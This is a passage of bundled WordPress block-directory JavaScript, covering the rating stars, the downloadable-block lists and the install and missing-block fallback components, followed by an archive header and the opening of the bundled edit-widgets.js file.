o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx); ;// external ["wp","htmlEntities"] const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"]; ;// ./node_modules/@wordpress/icons/build-module/icon/index.js /** * WordPress dependencies */ /** @typedef {{icon: JSX.Element, size?: number} & import('@wordpress/primitives').SVGProps} IconProps */ /** * Return an SVG icon. * * @param {IconProps} props icon is the SVG component to render * size is a number specifying the icon size in pixels * Other props will be passed to wrapped SVG component * @param {import('react').ForwardedRef<HTMLElement>} ref The forwarded ref to the SVG element. * * @return {JSX.Element} Icon component */ function Icon({ icon, size = 24, ...props }, ref) { return (0,external_wp_element_namespaceObject.cloneElement)(icon, { width: size, height: size, ...props, ref }); } /* harmony default export */ const icon = ((0,external_wp_element_namespaceObject.forwardRef)(Icon)); ;// external ["wp","primitives"] const external_wp_primitives_namespaceObject = window["wp"]["primitives"]; ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/icons/build-module/library/star-filled.js /** * WordPress dependencies */ const starFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" }) }); /* harmony default export */ const star_filled = (starFilled); ;// ./node_modules/@wordpress/icons/build-module/library/star-half.js /** * WordPress dependencies */ const starHalf = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z" }) }); /* harmony default export */ const star_half = (starHalf); ;// ./node_modules/@wordpress/icons/build-module/library/star-empty.js /** * WordPress dependencies */ const starEmpty = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z", clipRule: "evenodd" }) }); /* harmony default export */ const star_empty = (starEmpty); ;// ./node_modules/@wordpress/block-directory/build-module/components/block-ratings/stars.js /** * WordPress dependencies */ function Stars({ rating }) { const stars = Math.round(rating / 0.5) * 0.5; const fullStarCount = Math.floor(rating); const halfStarCount = Math.ceil(rating - fullStarCount); const emptyStarCount = 5 - (fullStarCount + halfStarCount); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: number of stars. */ (0,external_wp_i18n_namespaceObject.__)('%s out of 5 stars'), stars), children: [Array.from({ length: fullStarCount }).map((_, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { className: "block-directory-block-ratings__star-full", icon: star_filled, size: 16 }, `full_stars_${i}`)), Array.from({ length: halfStarCount }).map((_, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { className: "block-directory-block-ratings__star-half-full", icon: star_half, size: 16 }, `half_stars_${i}`)), Array.from({ length: emptyStarCount }).map((_, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { className: "block-directory-block-ratings__star-empty", icon: star_empty, size: 16 }, `empty_stars_${i}`))] }); } /* harmony default export */ const stars = (Stars); ;// ./node_modules/@wordpress/block-directory/build-module/components/block-ratings/index.js /** * Internal dependencies */ const BlockRatings = ({ rating }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-block-ratings", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(stars, { rating: rating }) }); /* harmony default export */ const block_ratings = (BlockRatings); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-icon/index.js /** * WordPress dependencies */ function DownloadableBlockIcon({ icon }) { const className = 'block-directory-downloadable-block-icon'; return icon.match(/\.(jpeg|jpg|gif|png|svg)(?:\?.*)?$/) !== null ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { className: className, src: icon, alt: "" }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { className: className, icon: icon, showColors: true }); } /* harmony default export */ const downloadable_block_icon = (DownloadableBlockIcon); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-notice/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const DownloadableBlockNotice = ({ block }) => { const errorNotice = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getErrorNoticeForBlock(block.id), [block]); if (!errorNotice) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-downloadable-block-notice", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-block-notice__content", children: [errorNotice.message, errorNotice.isFatal ? ' ' + (0,external_wp_i18n_namespaceObject.__)('Try reloading the page.') : null] }) }); }; /* harmony default export */ const downloadable_block_notice = (DownloadableBlockNotice); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-list-item/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ // Return the appropriate block item label, given the block data and status. function getDownloadableBlockLabel({ title, rating, ratingCount }, { hasNotice, isInstalled, isInstalling }) { const stars = Math.round(rating / 0.5) * 0.5; if (!isInstalled && hasNotice) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Retry installing %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } if (isInstalled) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Add %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } if (isInstalling) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Installing %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } // No ratings yet, just use the title. if (ratingCount < 1) { /* translators: %s: block title */ return (0,external_wp_i18n_namespaceObject.sprintf)('Install %s.', (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)); } return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: block title, 2: average rating, 3: total ratings count. */ (0,external_wp_i18n_namespaceObject._n)('Install %1$s. %2$s stars with %3$s review.', 'Install %1$s. %2$s stars with %3$s reviews.', ratingCount), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), stars, ratingCount); } function DownloadableBlockListItem({ item, onClick }) { const { author, description, icon, rating, title } = item; // getBlockType returns a block object if this block exists, or null if not. const isInstalled = !!(0,external_wp_blocks_namespaceObject.getBlockType)(item.name); const { hasNotice, isInstalling, isInstallable } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getErrorNoticeForBlock, isInstalling: isBlockInstalling } = select(store); const notice = getErrorNoticeForBlock(item.id); const hasFatal = notice && notice.isFatal; return { hasNotice: !!notice, isInstalling: isBlockInstalling(item.id), isInstallable: !hasFatal }; }, [item]); let statusText = ''; if (isInstalled) { statusText = (0,external_wp_i18n_namespaceObject.__)('Installed!'); } else if (isInstalling) { statusText = (0,external_wp_i18n_namespaceObject.__)('Installing…'); } const itemLabel = getDownloadableBlockLabel(item, { hasNotice, isInstalled, isInstalling }); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { placement: "top", text: itemLabel, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, { className: dist_clsx('block-directory-downloadable-block-list-item', isInstalling && 'is-installing'), accessibleWhenDisabled: true, disabled: isInstalling || !isInstallable, onClick: event => { event.preventDefault(); onClick(); }, "aria-label": itemLabel, type: "button", role: "option", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-block-list-item__icon", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_icon, { icon: icon, title: title }), isInstalling ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__spinner", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(block_ratings, { rating: rating })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "block-directory-downloadable-block-list-item__details", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__title", children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: block title. 2: author name. */ (0,external_wp_i18n_namespaceObject.__)('%1$s <span>by %2$s</span>'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), author), { span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__author" }) }) }), hasNotice ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_notice, { block: item }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__desc", children: !!statusText ? statusText : (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(description) }), isInstallable && !(isInstalled || isInstalling) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { children: (0,external_wp_i18n_namespaceObject.__)('Install block') })] })] })] }) }); } /* harmony default export */ const downloadable_block_list_item = (DownloadableBlockListItem); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-list/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const noop = () => {}; function DownloadableBlocksList({ items, onHover = noop, onSelect }) { const { installBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store); if (!items.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, { role: "listbox", className: "block-directory-downloadable-blocks-list", "aria-label": (0,external_wp_i18n_namespaceObject.__)('Blocks available for install'), children: items.map(item => { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_list_item, { onClick: () => { // Check if the block is registered (`getBlockType` // will return an object). If so, insert the block. // This prevents installing existing plugins. if ((0,external_wp_blocks_namespaceObject.getBlockType)(item.name)) { onSelect(item); } else { installBlockType(item).then(success => { if (success) { onSelect(item); } }); } onHover(null); }, onHover: onHover, item: item }, item.id); }) }); } /* harmony default export */ const downloadable_blocks_list = (DownloadableBlocksList); ;// external ["wp","a11y"] const external_wp_a11y_namespaceObject = window["wp"]["a11y"]; ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/inserter-panel.js /** * WordPress dependencies */ function DownloadableBlocksInserterPanel({ children, downloadableItems, hasLocalBlocks }) { const count = downloadableItems.length; (0,external_wp_element_namespaceObject.useEffect)(() => { (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of available blocks. */ (0,external_wp_i18n_namespaceObject._n)('%d additional block is available to install.', '%d additional blocks are available to install.', count), count)); }, [count]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [!hasLocalBlocks && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0,external_wp_i18n_namespaceObject.__)('No results available from your installed blocks.') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-blocks-panel", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-blocks-panel__header", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "block-directory-downloadable-blocks-panel__title", children: (0,external_wp_i18n_namespaceObject.__)('Available to install') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__description", children: (0,external_wp_i18n_namespaceObject.__)('Select a block to install and add it to your post.') })] }), children] })] }); } /* harmony default export */ const inserter_panel = (DownloadableBlocksInserterPanel); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/no-results.js /** * WordPress dependencies */ function DownloadableBlocksNoResults() { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__no-results", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)('No results found.') }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__tips", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Tip, { children: [(0,external_wp_i18n_namespaceObject.__)('Interested in creating your own block?'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.wordpress.org/block-editor/", children: [(0,external_wp_i18n_namespaceObject.__)('Get started here'), "."] })] }) })] }); } /* harmony default export */ const no_results = (DownloadableBlocksNoResults); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const downloadable_blocks_panel_EMPTY_ARRAY = []; const useDownloadableBlocks = filterValue => (0,external_wp_data_namespaceObject.useSelect)(select => { const { getDownloadableBlocks, isRequestingDownloadableBlocks, getInstalledBlockTypes } = select(store); const hasPermission = select(external_wp_coreData_namespaceObject.store).canUser('read', 'block-directory/search'); let downloadableBlocks = downloadable_blocks_panel_EMPTY_ARRAY; if (hasPermission) { downloadableBlocks = getDownloadableBlocks(filterValue); // Filter out blocks that are already installed. const installedBlockTypes = getInstalledBlockTypes(); const installableBlocks = downloadableBlocks.filter(({ name }) => { // Check if the block has just been installed, in which case it // should still show in the list to avoid suddenly disappearing. // `installedBlockTypes` only returns blocks stored in state // immediately after installation, not all installed blocks. const isJustInstalled = installedBlockTypes.some(blockType => blockType.name === name); const isPreviouslyInstalled = (0,external_wp_blocks_namespaceObject.getBlockType)(name); return isJustInstalled || !isPreviouslyInstalled; }); // Keep identity of the `downloadableBlocks` array if nothing was filtered out if (installableBlocks.length !== downloadableBlocks.length) { downloadableBlocks = installableBlocks; } // Return identical empty array when there are no blocks if (downloadableBlocks.length === 0) { downloadableBlocks = downloadable_blocks_panel_EMPTY_ARRAY; } } return { hasPermission, downloadableBlocks, isLoading: isRequestingDownloadableBlocks(filterValue) }; }, [filterValue]); function DownloadableBlocksPanel({ onSelect, onHover, hasLocalBlocks, isTyping, filterValue }) { const { hasPermission, downloadableBlocks, isLoading } = useDownloadableBlocks(filterValue); if (hasPermission === undefined || isLoading || isTyping) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [hasPermission && !hasLocalBlocks && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0,external_wp_i18n_namespaceObject.__)('No results available from your installed blocks.') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-downloadable-blocks-panel has-blocks-loading", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })] }); } if (false === hasPermission) { if (!hasLocalBlocks) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results, {}); } return null; } if (downloadableBlocks.length === 0) { return hasLocalBlocks ? null : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results, {}); } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_panel, { downloadableItems: downloadableBlocks, hasLocalBlocks: hasLocalBlocks, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_blocks_list, { items: downloadableBlocks, onSelect: onSelect, onHover: onHover }) }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/inserter-menu-downloadable-blocks-panel/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function InserterMenuDownloadableBlocksPanel() { const [debouncedFilterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)(''); const debouncedSetFilterValue = (0,external_wp_compose_namespaceObject.debounce)(setFilterValue, 400); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableInserterMenuExtension, { children: ({ onSelect, onHover, filterValue, hasItems }) => { if (debouncedFilterValue !== filterValue) { debouncedSetFilterValue(filterValue); } if (!debouncedFilterValue) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DownloadableBlocksPanel, { onSelect: onSelect, onHover: onHover, filterValue: debouncedFilterValue, hasLocalBlocks: hasItems, isTyping: filterValue !== debouncedFilterValue }); } }); } /* harmony default export */ const inserter_menu_downloadable_blocks_panel = (InserterMenuDownloadableBlocksPanel); ;// ./node_modules/@wordpress/block-directory/build-module/components/compact-list/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function CompactList({ items }) { if (!items.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "block-directory-compact-list", children: items.map(({ icon, id, title, author }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "block-directory-compact-list__item", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_icon, { icon: icon, title: title }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-compact-list__item-details", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-compact-list__item-title", children: title }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-compact-list__item-author", children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the block author. */ (0,external_wp_i18n_namespaceObject.__)('By %s'), author) })] })] }, id)) }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/installed-blocks-pre-publish-panel/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function InstalledBlocksPrePublishPanel() { const newBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getNewBlockTypes(), []); if (!newBlockTypes.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_editor_namespaceObject.PluginPrePublishPanel, { title: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %d: number of blocks (number). (0,external_wp_i18n_namespaceObject._n)('Added: %d block', 'Added: %d blocks', newBlockTypes.length), newBlockTypes.length), initialOpen: true, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "installed-blocks-pre-publish-panel__copy", children: (0,external_wp_i18n_namespaceObject._n)('The following block has been added to your site.', 'The following blocks have been added to your site.', newBlockTypes.length) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CompactList, { items: newBlockTypes })] }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/get-install-missing/install-button.js /** * WordPress dependencies */ /** * Internal dependencies */ function InstallButton({ attributes, block, clientId }) { const isInstallingBlock = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).isInstalling(block.id), [block.id]); const { installBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store); const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, onClick: () => installBlockType(block).then(success => { if (success) { const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(block.name); const [originalBlock] = (0,external_wp_blocks_namespaceObject.parse)(attributes.originalContent); if (originalBlock && blockType) { replaceBlock(clientId, (0,external_wp_blocks_namespaceObject.createBlock)(blockType.name, originalBlock.attributes, originalBlock.innerBlocks)); } } }), accessibleWhenDisabled: true, disabled: isInstallingBlock, isBusy: isInstallingBlock, variant: "primary", children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */ (0,external_wp_i18n_namespaceObject.__)('Install %s'), block.title) }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/get-install-missing/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const getInstallMissing = OriginalComponent => props => { const { originalName } = props.attributes; // Disable reason: This is a valid component, but it's mistaken for a callback. // eslint-disable-next-line react-hooks/rules-of-hooks const { block, hasPermission } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getDownloadableBlocks } = select(store); const blocks = getDownloadableBlocks('block:' + originalName).filter(({ name }) => originalName === name); return { hasPermission: select(external_wp_coreData_namespaceObject.store).canUser('read', 'block-directory/search'), block: blocks.length && blocks[0] }; }, [originalName]); // The user can't install blocks, or the block isn't available for download. if (!hasPermission || !block) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(OriginalComponent, { ...props }); } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ModifiedWarning, { ...props, originalBlock: block }); }; const ModifiedWarning = ({ originalBlock, ...props }) => { const { originalName, originalUndelimitedContent, clientId } = props.attributes; const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store); const convertToHTML = () => { replaceBlock(props.clientId, (0,external_wp_blocks_namespaceObject.createBlock)('core/html', { content: originalUndelimitedContent })); }; const hasContent = !!originalUndelimitedContent; const hasHTMLBlock = (0,external_wp_data_namespaceObject.useSelect)(select => { const { canInsertBlockType, getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store); return canInsertBlockType('core/html', getBlockRootClientId(clientId)); }, [clientId]); let messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */ (0,external_wp_i18n_namespaceObject.__)('Your site doesn’t include support for the %s block. You can try installing the block or remove it entirely.'), originalBlock.title || originalName); const actions = [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(InstallButton, { block: originalBlock, attributes: props.attributes, clientId: props.clientId }, "install")]; if (hasContent && hasHTMLBlock) { messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */ (0,external_wp_i18n_namespaceObject.__)('Your site doesn’t include support for the %s block. You can try installing the block, convert it to a Custom HTML block, or remove it entirely.'), originalBlock.title || originalName); actions.push(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, onClick: convertToHTML, variant: "tertiary", children: (0,external_wp_i18n_namespaceObject.__)('Keep as HTML') }, "convert")); } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { actions: actions, children: messageHTML }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: originalUndelimitedContent })] }); }; /* harmony default export */ const get_install_missing = (getInstallMissing); ;// ./node_modules/@wordpress/block-directory/build-module/plugins/index.js /** * WordPress dependencies */ /** * Internal dependencies */ (0,external_wp_plugins_namespaceObject.registerPlugin)('block-directory', { // The icon is explicitly set to undefined to prevent PluginPrePublishPanel // from rendering the fallback icon pluginIcon. icon: undefined, render() { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AutoBlockUninstaller, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_menu_downloadable_blocks_panel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(InstalledBlocksPrePublishPanel, {})] }); } }); (0,external_wp_hooks_namespaceObject.addFilter)('blocks.registerBlockType', 'block-directory/fallback', (settings, name) => { if (name !== 'core/missing') { return settings; } settings.edit = get_install_missing(settings.edit); return settings; }); ;// ./node_modules/@wordpress/block-directory/build-module/index.js /** * Internal dependencies */ (window.wp = window.wp || {}).blockDirectory = __webpack_exports__; /******/ })() ; edit-widgets.js 0000644 00000526764 15004111010 0007476 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // 